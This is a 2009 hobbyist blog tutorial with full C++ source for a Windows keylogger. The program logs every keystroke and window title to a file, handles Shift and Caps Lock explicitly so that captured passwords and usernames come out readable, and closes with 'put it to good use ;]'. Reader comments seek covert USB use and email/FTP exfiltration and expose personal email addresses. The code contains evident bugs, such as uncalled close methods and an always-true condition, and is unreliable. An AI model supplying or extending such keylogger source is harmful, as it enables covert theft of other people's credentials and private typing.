Sunday, May 10, 2009

More for Our C++ Keylogger - Special Characters

First of all, if you are new to this blog, be sure to check out the other two keylogger tutorials first because you will need those for this one, they are the posts before this and make sure you SUBSCRIBE so you wont miss the next one.


Well, I have two comments and 1 subscriber -_- not exactly what I was hoping for but hopefully this post will change your mind. The problem is that I only have so much to add, and after that only your requests can keep me going before I move on to a new project so please, COMMENT! and SUBSCRIBE!. By the way for those of you that dont know how to subscribe, if you are using Firefox, just use its inbuilt feed reader, otherwise download a free one. In fact, I am pretty sure that internet explorer has an inbuilt reader too. And if you can't or don't want to do this, atleast follow me on google (the last widget down on the sidebar), or COMMENT!

-------------------------------------------------------------------------------------

Anyway, so far for our keylogger, we have one that captures the keys and the window titles and stores them in a text file, well, if you guys tried it out, you would have noticed that the logs are still pretty incomprehensible. Characters like the Shift or Tab key are not getting caught so you can't really use the logger efficiently until you can do so. Today I will teach you not only how to catch all these characters, but also how to resolve shifting, or capitalizing of passwords/usernames etc.

There is only one new api that you have to learn for this tutorial
GetKeyState();

What! I thought we used that already?

Nope, we used GetAsyncKeyState(); before, well whats the difference? There are many differences, especially in their return values, but for our intents and purposes just remember them as, GetKeyState(); can check whether a key is toggled or not like numlock or most importantly capslock. GetAsyncKeyState checks for a separate asynchronous key press, not a toggle and not at the same time.

You should also know how to use switch cases for they will prove handy.

So, we know that GetAsyncKeyState and GetKeyState based on their msdn's accept a VKEY or virtual key value. This can be the decimal or char value of any ASCII key. So far, our Logger function takes this vkey value in char form and outputs it into a text file. So, what if we take this value and convert it to a readable form for all keys? That would work out well. Well, the first thing is to change the value in the Logger function to an int. You will see why later.
In addition, lets make things easier and change our key value to a string so that we can easily update it into the file and not have to worry about char size and such.

So once we do this we have:



void Logger()
{
string keyinstring = "";
int key;
char currentwindowtitle[MAX_PATH];
char newwindowtitle[MAX_PATH];
GetWindowText(GetForegroundWindow(), currentwindowtitle, sizeof(currentwindowtitle));
while(true)
{
Sleep(5);
for(key = 8; key <= 256; key++)
{
if(GetAsyncKeyState(key)&1 == 1)
{
GetWindowText(GetForegroundWindow(), currentwindowtitle, sizeof(currentwindowtitle));
if (strcmp(newwindowtitle, currentwindowtitle) != 0)
{
ofstream storekey("C:\\storekey.txt", ios::app);
storekey << endl << currentwindowtitle << endl;
storekey.close;
strcpy(newwindowtitle, currentwindowtitle);
}
keyinstring = convertkey(key);
StoreKey(keyinstring);
}
}
}
}


So now we have to right our convertkey method that will return a string value that we can store with storekey(); But, before we do that, lets change our StoreKey method so that it can accept strings instead of an int.

So we have:


void StoreKey(string key){
ofstream storekey("C:\\storekey.txt", ios::app);
storekey << key;
storekey.close;
}


Now all we have to do is write our convertkey function. So, firstly we want the function to return a string and to accept an int as a parameter so we have:


string convertkey(int key){
//converts the keys
}


Whoa Whoa Whoa, all these strings, they have to come from somewhere. Well you are right. We have to add:


#include <string>


to the includes at the top of our code.

Anyway, back to the convertkey method. Well, how do we convert a key, its easy, just take in a value, and output the corresponding string, for example


string convertkey(int key){
string keystring;
switch(key)
{
case 8:
keystring = "[DELETE]";
break;
}
return keystring;
}


So what does this do, it takes in a decimal vkey, in this case 8, which corresponds to the Backspace key on your keyboard. Then it returns that for you to store in your log, otherwise you would just have a unidentified character which neither you nor the computer can read. So I am not going to bore you with all the switch cases that we need so I will just give them to you. Note that I used switch case instead of if else because its easier to add more as we go along. Here is the completed switch case scenarios.


string convertkey(int key){
string keystring;
switch(key)
{
case 8 :
keystring = "[/]";
break;
case 13 :
keystring = "\n";
break;
case 32 :
keystring = " ";
break;
case 190 :
keystring = ".";
break;
case 110 :
keystring = ".";
break;
case VK_CAPITAL :
keystring = "[CAPS LOCK]";
break;
case VK_TAB :
keystring = "[TAB]";
break;
case VK_CONTROL :
keystring = "[CONTROL]";
break;
case VK_ESCAPE :
keystring = "[ESCAPE]";
break;
case VK_DOWN :
keystring = "[DOWN]";
break;
case VK_LEFT :
keystring = "[LEFT]";
break;
case VK_RIGHT :
keystring = "[RIGHT]";
break;
case VK_UP :
keystring = "[UP]";
break;
}
return keystring;
}



Note that in case 13, 13 is the corresponding value for the enter key so we have "\n" or the newline character. Yay we are done.

No we are not. Remember that we modified our logger function to depend on this method for all the characters special or not. This way we can resolve capitals and stuff. So, what do we do now, we have to find a way to resolve those. This is where GetKeyState(); comes into play. We can use it to check whether the capslock is on or not.

So now, our completed function, i commented the new parts to make it easier to understand. Remember, it looks like a lot of complicated numbers but those are just decimal values representing the keys u type, lowercase or uppercase, special or not.


string convertkey(int key){
string keystring;
switch(key)
{
case 8 :
keystring = "[/]";
break;
case 13 :
keystring = "\n";
break;
case 32 :
keystring = " ";
break;
case 190 :
keystring = ".";
break;
case 110 :
keystring = ".";
break;
case VK_CAPITAL :
keystring = "[CAPS LOCK]";
break;
case VK_TAB :
keystring = "[TAB]";
break;
case VK_CONTROL :
keystring = "[CONTROL]";
break;
case VK_ESCAPE :
keystring = "[ESCAPE]";
break;
case VK_DOWN :
keystring = "[DOWN]";
break;
case VK_LEFT :
keystring = "[LEFT]";
break;
case VK_RIGHT :
keystring = "[RIGHT]";
break;
case VK_UP :
keystring = "[UP]";
break;
}
if(key >= 96 && key <= 105)
keystring = key-48;
else if (key > 47 && key < 60)
keystring = key;
if (key != VK_LBUTTON || key != VK_RBUTTON)
{
if (key > 64 && key < 91)
{
if (GetKeyState(VK_CAPITAL) | GetAsyncKeyState(VK_SHIFT))
keystring = key; //if its capital then stay
else
{
key = key + 32; //if not shift the number to the lowercase value
keystring = key;
}
}
}
return keystring;
}


Well there you have it, a function that can resolve special characters and shifting. Be sure to edit it to your needs and now the complete source code so far.

----------------------------------------------------------------------------------

#include <windows.h>
#include <fstream>
#include <string>

using namespace std;

string convertkey(int key){
string keystring;
switch(key)
{
case 8 :
keystring = "[/]";
break;
case 13 :
keystring = "\n";
break;
case 32 :
keystring = " ";
break;
case 190 :
keystring = ".";
break;
case 110 :
keystring = ".";
break;
case VK_CAPITAL :
keystring = "[CAPS LOCK]";
break;
case VK_TAB :
keystring = "[TAB]";
break;
case VK_CONTROL :
keystring = "[CONTROL]";
break;
case VK_ESCAPE :
keystring = "[ESCAPE]";
break;
case VK_DOWN :
keystring = "[DOWN]";
break;
case VK_LEFT :
keystring = "[LEFT]";
break;
case VK_RIGHT :
keystring = "[RIGHT]";
break;
case VK_UP :
keystring = "[UP]";
break;
}
if(key >= 96 && key <= 105)
keystring = key-48;
else if (key > 47 && key < 60)
keystring = key;
if (key != VK_LBUTTON || key != VK_RBUTTON)
{
if (key > 64 && key < 91)
{
if (GetKeyState(VK_CAPITAL) | GetAsyncKeyState(VK_SHIFT))
keystring = key; //if its capital then stay
else
{
key = key + 32; //if not shift the number to the lowercase value
keystring = key;
}
}
}
return keystring;
}

void StoreKey(string key){
ofstream storekey("C:\\storekey.txt", ios::app);
storekey << key;
storekey.close;
}

void Logger()
{
string keyinstring = "";
int key;
char currentwindowtitle[MAX_PATH];
char newwindowtitle[MAX_PATH];
GetWindowText(GetForegroundWindow(), currentwindowtitle, sizeof(currentwindowtitle));
while(true)
{
Sleep(5);
for(key = 8; key <= 256; key++)
{
if(GetAsyncKeyState(key)&1 == 1)
{
GetWindowText(GetForegroundWindow(), currentwindowtitle, sizeof(currentwindowtitle));
if (strcmp(newwindowtitle, currentwindowtitle) != 0)
{
ofstream storekey("C:\\storekey.txt", ios::app);
storekey << endl << currentwindowtitle << endl;
storekey.close;
strcpy(newwindowtitle, currentwindowtitle);
}
keyinstring = convertkey(key);
StoreKey(keyinstring);
}
}
}
}

int main(){
Logger();
return 1;
}

--------------------------------------------------------------------------------

Be sure to SUBSCRIBE, COMMENT, and request new tutorials and features. Hope you enjoyed this and put it to good use ;]

-badfish303

10 comments:

  1. thank you and keep going please. your posts help me alot.

    ReplyDelete
  2. Thank you so much of the 3 tutorials, they are really helpful. I've been trying for a while to get a free keylogger that did what I need it to do, but failed at finding it. At one point I tried to write one in AHK (AutoHotKey-Lovely little program everyone should have) but for some reason the exe it compiled did not work. Well anyways, thanks so much for the tutorial. Sorry if I missed this in the tutorial, but how do you make it save the file with the log to the directory that the exe was launched from? (I want to run this from a USB, and the directory often changes (the drive letter))

    ReplyDelete
  3. Very interesting, specially since i'm making one too, and this helps me see the various ways a single thing can be done...

    Please continue! I'm specially interested in the ftp/email functions, as im quite lost on how to add them myself...

    ReplyDelete
  4. Yes, i agree with them ↑
    also, i dont know if its just me but, some things look "cut off" on the right side; do you think you could email me a .txt file so i can veiw this completely? if so the.terrorfying.horror101@gmail.com

    ReplyDelete
  5. Well Chet you can just hard code in the usb drive letter if its your comp or you can use getmodulehandle and getmodulefilename i think
    msdn them, ill prolly change the hard code in the next tutorial if u want to wait for that

    ReplyDelete
  6. hey badfish I really like your blog, and I am starting out in learning C++ myself, Is there is a way I can contact you (email)? Thanks very much.

    ReplyDelete
  7. yeah, akshay.nathan08@gmail.com

    ReplyDelete
  8. hi dear akshay i m sandeep from kolkata man i m getting huge errors well thanks for tutorial i really like it but in ompile time getting strange errors can u help i m using dev c++ ?

    ReplyDelete
  9. Please help this doesn't compile at all in Microsoft C++ Visual Express. By the way...I am a total noob at C++ I know NOTHING (I'm only 13) and help would realy be appriiated. Thanks!

    ReplyDelete
  10. Hi, thankx for the interesting post for newbies.
    Your logger works but doesn't rock yet!!
    First of all, what if I press SHIFT+2 (i.e @) or # $ % ^ & etc. These characters won't be captured with this code.
    If possible please provide the code or hint for that.
    Thanks in advance.

    ReplyDelete